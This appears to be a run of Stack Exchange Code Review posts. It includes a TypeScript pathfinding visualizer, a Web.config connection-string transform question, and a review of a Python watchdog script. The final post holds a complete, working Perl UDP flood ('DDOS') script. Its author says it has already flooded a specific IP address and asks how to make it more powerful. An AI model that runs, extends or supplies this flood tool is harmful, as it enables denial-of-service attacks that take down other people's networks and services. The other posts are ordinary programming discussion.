HashMap&lt;Coord, number&gt;(); const distanceComparator = generateDijkstraComparator(distances); const priorityQueue = new PriorityQueue(distanceComparator); return genericUnidirectionalSearch(start, goal, priorityQueue, distances, weights, walls); } export function aStar(start: Coord, goal: Coord, walls: boolean[][], weights: number[][], heuristic: string) { const distances = new HashMap&lt;Coord, number&gt;(); const comparator = generateAStarComparator(goal, distances, heuristic); const priorityQueue = new PriorityQueue(comparator); return genericUnidirectionalSearch(start, goal, priorityQueue, distances, weights, walls); } export function randomSearch(start: Coord, goal: Coord, walls: boolean[][], weights: number[][], _: string) { const distances = new HashMap&lt;Coord, number&gt;(); const comparator = generateRandomComparator(); const priorityQueue = new PriorityQueue(comparator); return genericUnidirectionalSearch(start, goal, priorityQueue, distances, weights, walls); } export function bidirectionalBFS(start: Coord, goal: Coord, walls: boolean[][], weights: number[][], _: string) { const forwardsDistances = new HashMap&lt;Coord, number&gt;(); const backwardsDistances = new HashMap&lt;Coord, number&gt;(); const forwardQueue = new Queue&lt;Coord&gt;(); const backwardQueue = new Queue&lt;Coord&gt;(); return genericBidirectionalSearch(forwardQueue, backwardQueue, forwardsDistances, backwardsDistances, start, goal, weights, walls); } export function bidirectionalDFS(start: Coord, goal: Coord, walls: boolean[][], weights: number[][], _: string) { const forwardsDistances = new HashMap&lt;Coord, number&gt;(); const backwardsDistances = new HashMap&lt;Coord, number&gt;(); const forwardsStack = new Stack&lt;Coord&gt;(); const backwardStack = new Stack&lt;Coord&gt;(); return genericBidirectionalSearch(forwardsStack, backwardStack, forwardsDistances, backwardsDistances, start, goal, weights, walls); } export function bidirectionalGBFS(start: Coord, goal: Coord, walls: boolean[][], weights: number[][], heuristic: string) { const forwardsDistances = new HashMap&lt;Coord, number&gt;(); const backwardsDistances = new HashMap&lt;Coord, number&gt;(); const forwardsComparator = stringToHeuristic.get(heuristic)(goal); const backwardsComparator = stringToHeuristic.get(heuristic)(start); const forwardsQueue = new PriorityQueue&lt;Coord&gt;(forwardsComparator); const backwardQueue = new PriorityQueue&lt;Coord&gt;(backwardsComparator); return genericBidirectionalSearch(forwardsQueue, backwardQueue, forwardsDistances, backwardsDistances, start, goal, weights, walls); } export function bidirectionalDijkstra(start: Coord, goal: Coord, walls: boolean[][], weights: number[][], heuristic: string) { const forwardsDistances = new HashMap&lt;Coord, number&gt;(); const backwardsDistances = new HashMap&lt;Coord, number&gt;(); const forwardsComparator = generateDijkstraComparator(forwardsDistances); const backwardsComparator = generateDijkstraComparator(backwardsDistances); const forwardsQueue = new PriorityQueue&lt;Coord&gt;(forwardsComparator); const backwardQueue = new PriorityQueue&lt;Coord&gt;(backwardsComparator); return genericBidirectionalSearch(forwardsQueue, backwardQueue, forwardsDistances, backwardsDistances, start, goal, weights, walls); } export function bidirectionalAStar(start: Coord, goal: Coord, walls: boolean[][], weights: number[][], heuristic: string) { const forwardsDistances = new HashMap&lt;Coord, number&gt;(); const backwardsDistances = new HashMap&lt;Coord, number&gt;(); const forwardsComparator = generateAStarComparator(goal, forwardsDistances, heuristic); const backwardsComparator = generateAStarComparator(start, backwardsDistances, heuristic); const forwardsQueue = new PriorityQueue&lt;Coord&gt;(forwardsComparator); const backwardQueue = new PriorityQueue&lt;Coord&gt;(backwardsComparator); return genericBidirectionalSearch(forwardsQueue, backwardQueue, forwardsDistances, backwardsDistances, start, goal, weights, walls); } export function bidirectionalRandom(start: Coord, goal: Coord, walls: boolean[][], weights: number[][], heuristic: string) { const forwardsDistances = new HashMap&lt;Coord, number&gt;(); const backwardsDistances = new HashMap&lt;Coord, number&gt;(); const comparator = generateRandomComparator(); const forwardsQueue = new PriorityQueue&lt;Coord&gt;(comparator); const backwardQueue = new PriorityQueue&lt;Coord&gt;(comparator); return genericBidirectionalSearch(forwardsQueue, backwardQueue, forwardsDistances, backwardsDistances, start, goal, weights, walls); } </code></pre> <p>genericPathfinding.ts</p> <pre><code> // Generic pathfinding algo for searching from a source. Parameterized with the data structure used to make it generic export function genericUnidirectionalSearch( start: Coord, goal: Coord, agenda: Collection&lt;Coord&gt;, distances: HashMap&lt;Coord, number&gt;, weights: number[][], walls: boolean[][]) { const path = new HashMap&lt;Coord, Coord&gt;(); const visited = initialseGridWith(false); const considered = initialseGridWith(false); const frames: GridFrame[] = []; agenda.add(start); visited[start.row][start.col] = true; distances.add(start, 0); while (!agenda.isEmpty()) { const isFound = considerNextNode(path, visited, agenda, goal, weights, considered, walls, distances, frames); if (isFound) { const finalPath = pathMapToGrid(path, goal); createFinalPathFrame(finalPath, visited, considered, frames); break; } } return frames; } // Generic pathfinding algo for searching from both the source and goal concurrently export function genericBidirectionalSearch( forwardAgenda: Collection&lt;Coord&gt;, backwardAgenda: Collection&lt;Coord&gt;, forwardDistances: HashMap&lt;Coord, number&gt;, backwardDistances: HashMap&lt;Coord, number&gt;, start: Coord, goal: Coord, weights: number[][], walls: boolean[][]) { const forwardPath = new HashMap&lt;Coord, Coord&gt;(); const backwardPath = new HashMap&lt;Coord, Coord&gt;(); const forwardVisited = initialseGridWith(false); const backwardVisited = initialseGridWith(false); const forwardConsidered = initialseGridWith(false); const backwardConsidered = initialseGridWith(false); const frames: GridFrame[] = []; forwardDistances.add(start, 0); backwardDistances.add(goal, 0); forwardAgenda.add(start); backwardAgenda.add(goal); forwardVisited[start.row][start.col] = true; backwardVisited[goal.row][goal.col] = true; while (!forwardAgenda.isEmpty() &amp;&amp; !backwardAgenda.isEmpty()) { const foundForwards = considerNextNode(forwardPath, forwardVisited, forwardAgenda, goal, weights, forwardConsidered, walls, forwardDistances, frames); const foundBackwards = considerNextNode(backwardPath, backwardVisited, backwardAgenda, start, weights, backwardConsidered, walls, backwardDistances, frames); mergeFrames(frames); if (foundForwards) { const finalPath = pathMapToGrid(forwardPath, goal); const mergedVisited = mergeGrids(forwardVisited, backwardVisited); const mergedConsidered = mergeGrids(forwardConsidered, backwardConsidered); createFinalPathFrame(finalPath, mergedVisited, mergedConsidered, frames); break; } else if (foundBackwards) { const finalPath = pathMapToGrid(backwardPath, start); const mergedVisited = mergeGrids(forwardVisited, backwardVisited); const mergedConsidered = mergeGrids(forwardConsidered, backwardConsidered); createFinalPathFrame(finalPath, mergedVisited, mergedConsidered, frames); break; } else if (hasIntersection(forwardConsidered, backwardConsidered)) { const intersection = getIntersection(forwardConsidered, backwardConsidered); const finalPath = mergeGrids(pathMapToGrid(forwardPath, intersection), pathMapToGrid(backwardPath, intersection)); const mergedVisited = mergeGrids(forwardVisited, backwardVisited); const mergedConsidered = mergeGrids(forwardConsidered, backwardConsidered); createFinalPathFrame(finalPath, mergedVisited, mergedConsidered, frames); break; } } return frames; } // Generic function for making one step in a pathfinding algorithm function considerNextNode( path: HashMap&lt;Coord, Coord&gt;, visited: boolean[][], agenda: Collection&lt;Coord&gt;, goal: Coord, weights: number[][], considered: boolean[][], walls: boolean[][], distances: HashMap&lt;Coord, number&gt;, frames: GridFrame[]) { const currentPos = agenda.remove(); const currentNeighbours = generateNeighbours(currentPos); considered[currentPos.row][currentPos.col] = true; frames.push(generateGridFrame(visited, considered, [])); if (isSameCoord(currentPos, goal)) { return true; } currentNeighbours.forEach(neighbour =&gt; { if (!isOutOfBounds(neighbour) &amp;&amp; !walls[neighbour.row][neighbour.col]) { const neighbourDistance = distances.get(currentPos) + weights[neighbour.row][neighbour.col]; if (!visited[neighbour.row][neighbour.col]) { distances.add(neighbour, neighbourDistance); agenda.add(neighbour); visited[neighbour.row][neighbour.col] = true; path.add(neighbour, currentPos); } } }); return false; } // Given two boolean grids, for all tiles, take the logical OR and return a new grid function mergeGrids(grid: boolean[][], matrix: boolean[][]) { const mergedGrid = initialseGridWith(false); for (let row = 0; row &lt; HEIGHT; row++) { for (let col = 0; col &lt; WIDTH; col++) { mergedGrid[row][col] = grid[row][col] || matrix[row][col]; } } return mergedGrid; } // Merge two animation frames to produce a frame that contains the information encoded in both function mergeFrames(frames: GridFrame[]) { const backwardsFrame = frames.pop(); const forwardsFrame = frames.pop(); const mergedFrame = initialseGridWith(TileFrame.Blank); for (let row = 0; row &lt; HEIGHT; row++) { for (let col = 0; col &lt; WIDTH; col++) { if (forwardsFrame[row][col] === TileFrame.Searching || backwardsFrame[row][col] === TileFrame.Searching) { mergedFrame[row][col] = TileFrame.Searching; } else if (forwardsFrame[row][col] === TileFrame.Frontier || backwardsFrame[row][col] === TileFrame.Frontier) { mergedFrame[row][col] = TileFrame.Frontier; } } } frames.push(mergedFrame); } // Add a frame containing the final path to the list function createFinalPathFrame(path: boolean[][], visited: boolean[][], considered: boolean[][], frames: GridFrame[]) { frames.push(generateGridFrame(visited, considered, path)); } // Convert the hashmap pointer based path to a boolean grid based path function pathMapToGrid(pathMap: HashMap&lt;Coord, Coord&gt;, goal: Coord) { const path = initialseGridWith(false); let pos = goal; while (pathMap.get(pos) !== undefined) { path[pos.row][pos.col] = true; pos = pathMap.get(pos); } return path; } // Encode the state of a pathfinding algorithm into a frame function generateGridFrame(visited: boolean[][], considered: boolean[][], path: boolean[][]) { const grid = initialseGridWith(TileFrame.Blank); for (let row = 0; row &lt; HEIGHT; row++) { for (let col = 0; col &lt; WIDTH; col++) { if (path.length &gt; 0 &amp;&amp; path[row][col]) { grid[row][col] = TileFrame.Path; } else if (considered[row][col]) { grid[row][col] = TileFrame.Searching; } else if (visited[row][col]) { grid[row][col] = TileFrame.Frontier; } } } return grid; } </code></pre> <p>Comparators.ts</p> <pre><code> type Heuristic = (goal: Coord) =&gt; (c1: Coord, c2: Coord) =&gt; number; // Map a heuristics JSX representation onto its implementation export const stringToHeuristic = new Map&lt;string, Heuristic&gt;([ [&quot;manhattan&quot;, generateManhattanComparator], [&quot;euclidean&quot;, generateEuclideanComparator], [&quot;chebyshev&quot;, generateChebyshevComparator] ]); // Return a comparator that compares by adding the distance from the starting tile and estimated distance from the goal export function generateAStarComparator(goal: Coord, distances: HashMap&lt;Coord, number&gt;, heuristic: string) { return (c1: Coord, c2: Coord) =&gt; { const heuristicGenerator = stringToHeuristic.get(heuristic); const dijkstraComparison = generateDijkstraComparator(distances)(c1, c2); const heuristicComparison = heuristicGenerator(goal)(c1, c2); return dijkstraComparison + heuristicComparison; } } // Returns a comparator that compares using the distance from the starting tile export function generateDijkstraComparator(distances: HashMap&lt;Coord, number&gt;) { return (c1: Coord, c2: Coord) =&gt; distances.get(c2) - distances.get(c1); } // Returns a comparator that selects an item randomly export function generateRandomComparator() { return (c1: Coord, c2: Coord) =&gt; Math.random() - 0.6; } // Given two coordinates (p1, p2) and (g1, g2), return comparator that compares using formula max(abs(p1 - g1), abs(p2 - g2)) function generateChebyshevComparator({ row: goalRow, col: goalCol }: Coord) { return ({ row: r1, col: c1 }: Coord, { row: r2, col: c2 }: Coord) =&gt; Math.max(Math.abs(r2 - goalRow), Math.abs(c2 - goalCol)) - Math.max(Math.abs(r1 - goalRow), Math.abs(c1 - goalCol)); } // Given two coordinates (p1, p2) and (g1, g2), return comparator that compares using formula sqrt((p1 - g1)^2 + abs(p2 - g2)^2) function generateEuclideanComparator({ row: goalRow, col: goalCol }: Coord) { return ({ row: r1, col: c1 }: Coord, { row: r2, col: c2 }: Coord) =&gt; { const r1Dist = Math.sqrt(Math.pow(r1 - goalRow, 2) + Math.pow(c1 - goalCol, 2)); const r2Dist = Math.sqrt(Math.pow(r2 - goalRow, 2) + Math.pow(c2 - goalCol, 2)); return r2Dist - r1Dist; } } // Given two coordinates (p1, p2) and (g1, g2), return comparator that compares using formula abs(p1 - g1) + abs(p2 - g2) function generateManhattanComparator({ row: goalRow, col: goalCol }: Coord) { return ({ row: r1, col: c1 }: Coord, { row: r2, col: c2 }: Coord) =&gt; (Math.abs(r2 - goalRow) + Math.abs(c2 - goalCol)) - (Math.abs(r1 - goalRow) + Math.abs(c1 - goalCol)); } </code></pre>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T11:04:38.510", "Id": "257337", "Score": "0", "Tags": [ "typescript", "pathfinding", "data-visualization" ], "Title": "Animating Pathfinding Generically" }
257337
<p>I want to remove a connection string that may already have been set in a different config file and then set it again.</p> <p>Say my application has a Web.config file and a Web.Debug.config file then I can achieve what I want to do in the following way:</p> <p>Web.config:</p> <pre><code> &lt;connectionStrings&gt; &lt;remove name=&quot;MyConnectionString&quot; /&gt; &lt;add name=&quot;MyConnectionString&quot; connectionString=&quot;...&quot;;User Id=******;Password=******;&quot; /&gt; &lt;/connectionStrings&gt; </code></pre> <p>Web.Debug.config</p> <pre><code> &lt;connectionStrings&gt; &lt;remove xdt:Transform=&quot;Replace&quot; name=&quot;MyConnectionString&quot; /&gt; &lt;add xdt:Transform=&quot;SetAttributes(connectionString)&quot; xdt:Locator=&quot;Condition(@name='MyConnectionString')&quot; connectionString=&quot;...&quot;;User Id=******;Password=******;&quot; /&gt; &lt;/connectionStrings&gt; </code></pre> <p>I am going to be removing connection strings and then adding them to ensure there are no errors that result from a connection string already having been set in some other config file. Before I change tens or hundreds of config files across all of our repositories I want to know if there is a better way - easier to read or requiring fewer/simpler changes.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T12:46:43.520", "Id": "508303", "Score": "1", "body": "Is there a reason you posted this question on Code Review rather than Stack Overflow? The question sounds very hypothetical and that would make it off-topic for code review." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T12:54:08.840", "Id": "508305", "Score": "0", "body": "Thanks for your comment. I must have misunderstood what Code Review was for. I am looking for suggestions/improvements or reasons why the way I've proposed is not the way it's usually done. Is there a different channel for this type of question?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T13:01:35.003", "Id": "508307", "Score": "0", "body": "We review code that is working as expected. For future reference please read the [help center](https://codereview.stackexchange.com/help). The question you are asking is about something that happens a lot in professional development. I had to modify a config file to point to the test database rather than the production database. I put all the code into git first so that I could back up to the original code when development was over. I don't know if there is really a good site for this question." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T13:05:55.217", "Id": "508309", "Score": "0", "body": "You might want to check Microsoft documentation and Q&A sites." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T13:07:14.567", "Id": "508312", "Score": "0", "body": "Please define *better way*. From what aspect?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T13:25:51.093", "Id": "508317", "Score": "0", "body": "@PeterCsala I've added details to improve the question." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T13:28:25.830", "Id": "508319", "Score": "0", "body": "@pacmaninbw I don't know what point you are making about reviewing code that is working as expected." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T13:38:03.010", "Id": "508321", "Score": "0", "body": "@Astrophe I think `xdt:Transform=\"SetAttributes\" xdt:Locator=\"Match(name)\"` would be enough. You don't have to over specify it. Please bear in mind this approach might not work if you encrypt your `connectionStrings` section." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T14:01:16.657", "Id": "508322", "Score": "0", "body": "@PeterCsala Please can you format your comment into an answer. What I tried to do based on your comment resulted in the same error that I have seen before: The entry 'MyConnectionString' has already been added. But maybe I have not fully understood what you mean." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T14:47:42.020", "Id": "508326", "Score": "1", "body": "https://blog.elmah.io/web-config-transformations-the-definitive-syntax-guide/" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T15:11:53.583", "Id": "508329", "Score": "1", "body": "Thanks all for the comments. I have just finished discussing these changes with a colleague who pointed out that my Remove element transform in Web.Debug.config is not doing anything. The remove element in Web.config is all that is needed and it will be included in Web.Debug.config after it has been transformed. I'm relieved to know that the solution is a one-liner!" } ]
[ { "body": "<p>Each <code>add</code> entry in <code>connectionStrings</code> section will be parsed as <a href=\"https://docs.microsoft.com/en-us/dotnet/api/system.configuration.connectionstringsettings\" rel=\"nofollow noreferrer\">ConnectionStringSettings</a> at the end of the day.\nThis class has 3 properties: <code>Name</code>,<code>ConnectionString</code> and <code>ProviderName</code>.</p>\n<p>In your provided sample you have defined only the first two.</p>\n<p>Your provided sample seems to me a bit too specific/strict:</p>\n<ul>\n<li>Replace only the <code>connectionStrings</code> attribute</li>\n<li>Match the entity where the name equals <code>MyConnectionString</code></li>\n</ul>\n<p>The same result could be achieved with less specific transformation rules:</p>\n<pre class=\"lang-xml prettyprint-override\"><code>&lt;connectionStrings&gt;\n &lt;remove xdt:Transform=&quot;Replace&quot; name=&quot;MyConnectionString&quot; /&gt;\n &lt;add name=&quot;MyConnectionString&quot; connectionString=&quot;...;User Id=******;Password=123;&quot; \n xdt:Transform=&quot;SetAttributes&quot; xdt:Locator=&quot;Match(name)&quot; /&gt;\n &lt;/connectionStrings&gt;\n</code></pre>\n<ul>\n<li>I've specified the <code>name</code> as an attribute of the <code>add</code> element</li>\n<li>I've changed the <code>Locator</code> attribute value from <code>Condition</code> to <code>Match</code></li>\n<li>And I've removed the <code>(connectionString)</code> suffix from the <code>Transform</code> attribute</li>\n</ul>\n<p>I've checked the transformation with <a href=\"https://elmah.io/tools/webconfig-transformation-tester/\" rel=\"nofollow noreferrer\">this tool</a>.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T16:13:27.543", "Id": "508340", "Score": "1", "body": "Thanks for pointing out these syntax improvements. It looks much better in this simplified form." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T14:22:14.850", "Id": "257346", "ParentId": "257339", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "11", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T12:18:37.173", "Id": "257339", "Score": "0", "Tags": [ ".net", "configuration" ], "Title": "Remove and add connection string" }
257339
<p>I have been working with where I use watchdogs to be able read whenever I have created a file by the name -&gt; <em>kill_</em>.json and it contains:</p> <pre><code>*kill_*.json &amp; *start_*.json contains: {&quot;store&quot;: &quot;twitch&quot;, &quot;link&quot;: &quot;https://www.twitch.tv/xqcow&quot;, &quot;id&quot;: &quot;2710&quot;} </code></pre> <p>and currently what my script does is to read the json and the filename. if it contains any of the if elif statement then it will start or kill depending on the filename else we will add it to my database which I dont think its needed to be handed here since its not the code review I wish for... <em>for now :P</em> but if there is any question regarding it I will be answering and adding if needed of course! :)</p> <pre class="lang-py prettyprint-override"><code># !/usr/bin/python3 # -*- coding: utf-8 -*- import json import os import os.path import sys import time import watchdog.events import watchdog.observers from loguru import logger from watchdog.events import PatternMatchingEventHandler import lib.database as database def start_script(payload): payload = database.get_product_data(payload[&quot;store&quot;], payload[&quot;link&quot;]) logger.info(f'Starting script -&gt; Name: {payload[&quot;store&quot;]}_{payload[&quot;id&quot;]} | Link: {payload[&quot;link&quot;]}') class DeleteAutomatic(PatternMatchingEventHandler): def __enter__(self): self.observer = watchdog.observers.Observer() self.observer.schedule( self, path=&quot;./flags/&quot; recursive=True ) self.observer.start() while True: time.sleep(1) def __exit__(self): self.observer.stop() self.observer.join() def __init__(self): super(DeleteAutomatic, self).__init__( [ &quot;*kill_*.json&quot;, &quot;*start_*.json&quot;, &quot;*new_url.json&quot; ] ) def on_created(self, event): while True: try: with open(event.src_path) as f: payload = json.load(f) if &quot;start&quot; in event.src_path: logger.info(f'Starting -&gt; Store: {payload[&quot;store&quot;]} | Link: {payload[&quot;link&quot;]} | ID: {payload[&quot;id&quot;]}') elif &quot;kill&quot; in event.src_path: logger.info(f'Deleting -&gt; Store: {payload[&quot;store&quot;]} | Link: {payload[&quot;link&quot;]} | ID: {payload[&quot;id&quot;]}') else: for payload in database.get_all_manual_links(): logger.info( f'New Manual Url Found -&gt; Store: {payload[&quot;store&quot;]} | Link: {payload[&quot;link&quot;]} | ID: {payload[&quot;id&quot;]}') if not database.link_exists(payload[&quot;store&quot;], payload[&quot;link&quot;]): database.register_products(payload[&quot;store&quot;], product_info) start_script(payload) elif database.links_deactivated(payload[&quot;store&quot;], payload[&quot;link&quot;]): database.update_products(payload[&quot;store&quot;], payload[&quot;link&quot;]) start_script(payload) else: logger.info(f'Product already monitored: {payload[&quot;store&quot;]}_{payload[&quot;id&quot;]} | Link: {payload[&quot;link&quot;]}') pass database.delete_manual_links(payload[&quot;store&quot;], payload[&quot;link&quot;]) break except Exception as err: logger.debug(f&quot;Error -&gt; {err}&quot;) time.sleep(1) continue while True: try: os.remove(event.src_path) break except Exception as err: logger.debug(f&quot;Error deleting-&gt; {err}&quot;) time.sleep(1) continue with DeleteAutomatic(): pass </code></pre> <p>I wonder if there is a smarter or maybe even cleaner way to improve this code both performance and whatever it can be?</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T15:47:29.260", "Id": "508336", "Score": "0", "body": "Again - the model for this site doesn't allow for in-place edits. You're free to ask for clarification the way you are in comments, but we don't support updates in your question as a result of feedback." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T15:49:13.900", "Id": "508338", "Score": "0", "body": "Ohhhh! Im sorry. I thought I was allowed to update from the answers but ok,good to know :D I have asked in the comments :) @Reinderien" } ]
[ { "body": "<h2>Individual parameters</h2>\n<p>You're best to replace the <code>payload</code> parameter to <code>start_script</code> with individual <code>store: str</code>, <code>id: str</code> and <code>link: str</code>. Or, if it's common enough for this triple to be carried around, then move it into a <code>@dataclass</code> that has a <code>start_script(self)</code> method.</p>\n<h2>Method order</h2>\n<p>This is minor, but typically <code>__init__</code> should appear as the first method on your class.</p>\n<h2>Member initialization</h2>\n<pre><code> self.observer = watchdog.observers.Observer()\n self.observer.schedule(\n self,\n path=&quot;./flags/&quot;\n recursive=True\n )\n</code></pre>\n<p>should be moved to your <code>__init__</code>, since that member has instance lifespan. Linters will tell you that it's not a great idea to initialize new members outside of <code>__init__</code>. The <code>start()</code> can stay in your <code>__enter__</code>.</p>\n<h2>Standard parameters</h2>\n<p>The parameters to <code>__exit__</code> are incorrect, and should be as described in the <a href=\"https://docs.python.org/3/reference/datamodel.html#object.__exit__\" rel=\"nofollow noreferrer\">documentation</a>.</p>\n<h2>Hanging enter method</h2>\n<p>Your sleep loop should not be in your <code>__enter__</code>. After start, your enter method needs to yield control to the caller, and the caller needs to have a sleep loop instead.</p>\n<h2>Parameter-less super()</h2>\n<pre><code>super(DeleteAutomatic, self)\n</code></pre>\n<p>is Python 2 style; for Python 3 you can omit those parameters.</p>\n<h2>Start/kill logic</h2>\n<pre><code> if &quot;start&quot; in event.src_path:\n logger.info(f'Starting -&gt; Store: {payload[&quot;store&quot;]} | Link: {payload[&quot;link&quot;]} | ID: {payload[&quot;id&quot;]}')\n \n elif &quot;kill&quot; in event.src_path:\n logger.info(f'Deleting -&gt; Store: {payload[&quot;store&quot;]} | Link: {payload[&quot;link&quot;]} | ID: {payload[&quot;id&quot;]}')\n</code></pre>\n<p>should change in a couple of ways: factor out the common logging code to a single statement, with only a Starting / Deleting string varying between the two cases. Also, unpack your payload either to individual variables, or maybe a <code>@dataclass</code>.</p>\n<p>One advantage to the <code>@dataclass</code> approach is that this code:</p>\n<pre><code> if &quot;start&quot; in event.src_path:\n logger.info(f'Starting -&gt; Store: {payload[&quot;store&quot;]} | Link: {payload[&quot;link&quot;]} | ID: {payload[&quot;id&quot;]}')\n \n elif &quot;kill&quot; in event.src_path:\n logger.info(f'Deleting -&gt; Store: {payload[&quot;store&quot;]} | Link: {payload[&quot;link&quot;]} | ID: {payload[&quot;id&quot;]}')\n\n else:\n for payload in database.get_all_manual_links():\n\n logger.info(\n f'New Manual Url Found -&gt; Store: {payload[&quot;store&quot;]} | Link: {payload[&quot;link&quot;]} | ID: {payload[&quot;id&quot;]}')\n\n if not database.link_exists(payload[&quot;store&quot;], payload[&quot;link&quot;]):\n database.register_products(payload[&quot;store&quot;], product_info)\n start_script(payload)\n\n elif database.links_deactivated(payload[&quot;store&quot;], payload[&quot;link&quot;]):\n database.update_products(payload[&quot;store&quot;], payload[&quot;link&quot;])\n start_script(payload)\n\n else:\n logger.info(f'Product already monitored: {payload[&quot;store&quot;]}_{payload[&quot;id&quot;]} | Link: {payload[&quot;link&quot;]}')\n pass\n\n database.delete_manual_links(payload[&quot;store&quot;], payload[&quot;link&quot;])\n</code></pre>\n<p>could move to a method on the class; and initializing the class could be a simple <code>Payload(**payload)</code> kwargs.</p>\n<h2>Retries</h2>\n<pre><code> except Exception as err:\n logger.debug(f&quot;Error -&gt; {err}&quot;)\n time.sleep(1)\n continue\n</code></pre>\n<p>is risky. You're saying that if <em>any</em> exception occurs, hang for a second and retry. This includes failure modes that you shouldn't reasonably retry on, such as <code>MemoryError</code>. You should have a think about a narrower collection of exceptions that are actually appropriate to retry on.</p>\n<h2>Syntax</h2>\n<p>Your code just doesn't run. This syntax is invalid:</p>\n<pre><code> path=&quot;./flags/&quot;\n recursive=True\n</code></pre>\n<p>due to a missing comma. I'll give you the benefit of the doubt that that's a copy-and-paste error.</p>\n<p>Also, <code>product_info</code> is missing entirely. So your code is incomplete.</p>\n<h2>Payload references</h2>\n<p>This:</p>\n<pre><code>def start_script(payload):\n payload = database.get_product_data(payload[&quot;store&quot;], payload[&quot;link&quot;])\n</code></pre>\n<p>is highly suspect. You're passing in payload, using its store and link properties to do a database lookup of what looks to me to be <em>the same payload</em>. Are you sure that's what you want to be doing?</p>\n<p>Similarly, this:</p>\n<pre><code> with open(event.src_path) as f:\n payload = json.load(f)\n\n if &quot;start&quot; in event.src_path:\n logger.info(f'Starting -&gt; Store: {payload[&quot;store&quot;]} | Link: {payload[&quot;link&quot;]} | ID: {payload[&quot;id&quot;]}')\n \n elif &quot;kill&quot; in event.src_path:\n logger.info(f'Deleting -&gt; Store: {payload[&quot;store&quot;]} | Link: {payload[&quot;link&quot;]} | ID: {payload[&quot;id&quot;]}')\n\n else:\n for payload in database.get_all_manual_links():\n</code></pre>\n<p>ignores the first loaded payload in the third case. So in one out of three conditions, there's actually no point in loading the payload from JSON at all. The logic could be reworked so that the file is only loaded if needed.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T15:38:30.427", "Id": "508332", "Score": "0", "body": "Hello! Hi again as well! I really appreciate the time you are taking to improve my knowledge! I have once again updated my code and adapted it the way you have mentioned in your answer. **Individual parameters** I was not sure regarding the parameters if I did it correct. I do hope it is something you meant the way I did it? **Hanging enter method** My guess is to move the while loop at the very bottom instead? **Parameter-less super()** I assume now its more python 3 correctly? :)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T15:39:32.223", "Id": "508333", "Score": "0", "body": "**Start/kill logic** I think I did it correctly now. I have removed the logging code where I saw that I could re-use it instead at the `start_script` instead and I have also added some comments where I use a subprocess to kill my process but that is nothing I would like a review on :) (Or atleast not needed)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T15:40:12.993", "Id": "508335", "Score": "0", "body": "But I wanted to check with you. am I doing it correctly now the way you answered this question? I need to re-work on the **Retries** of course but the rest of it? I was most concern for the `kwargs`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T17:40:47.090", "Id": "508351", "Score": "0", "body": "_move the while loop at the very bottom instead_ - correct." } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T14:52:00.400", "Id": "257347", "ParentId": "257341", "Score": "1" } } ]
{ "AcceptedAnswerId": "257347", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T13:24:17.553", "Id": "257341", "Score": "1", "Tags": [ "python-3.x" ], "Title": "Read created json files inside a given folder" }
257341
<p>I am trying to make a ddos code, and that's what I got so far. I am trying to make it more efficient and powerful, just for testing purposes. I'm new and I was wondering if I could do that? Is there any way to make this better</p> <p>My code ddosed the specfic ip adress until right now.</p> <pre><code>##################################################### # DDOS. ###################################################### use Socket; use strict; use Getopt::Long; use Time::HiRes qw( usleep gettimeofday ) ; our $port = 0; our $size = 0; our $time = 0; our $bw = 0; our $help = 0; our $delay= 0; GetOptions( &quot;port=i&quot; =&gt; <span class="math-container">\$port, # UDP port to use, numeric, 0=random "size=i" =&gt; \$</span>size, # packet size, number, 0=random &quot;bandwidth=i&quot; =&gt; <span class="math-container">\$bw, # bandwidth to consume "time=i" =&gt; \$</span>time, # time to run &quot;delay=f&quot;=&gt; <span class="math-container">\$delay, # inter-packet delay "help|?" =&gt; \$</span>help); # help my ($ip) = @ARGV; if ($bw &amp;&amp; $delay) { print; $size = int($bw * $delay / 8); } elsif ($bw) { $delay = (8 * $size) / $bw; } $size = 256 if $bw &amp;&amp; !$size; ($bw = int($size / $delay * 8)) if ($delay &amp;&amp; $size); my ($iaddr,$endtime,$psize,$pport); $iaddr = inet_aton(&quot;$ip&quot;) or die &quot;&quot;; $endtime = time() + ($time ? $time : 1000000); socket(flood, PF_INET, SOCK_DGRAM, 17); ($size ? &quot;$size-byte&quot; : &quot;&quot;) . &quot; &quot; . ($time ? &quot;&quot; : &quot;&quot;) . &quot;\033[1;32m\033[0m\n\n&quot;; print &quot;Interpacket delay $delay msec\n&quot; if $delay; print &quot;total IP bandwidth $bw kbps\n&quot; if $bw; die &quot;Invalid packet size: $size\n&quot; if $size &amp;&amp; ($size &lt; 64 || $size &gt; 1500); $size -= 28 if $size; for (;time() &lt;= $endtime;) { $psize = $size ? $size : int(rand(1024-64)+64) ; $pport = $port ? $port : int(rand(65500))+1; send(flood, pack(&quot;a$psize&quot;,&quot;flood&quot;), 0, pack_sockaddr_in($pport, $iaddr)); usleep(1000 * $delay) if $delay; } </code></pre>
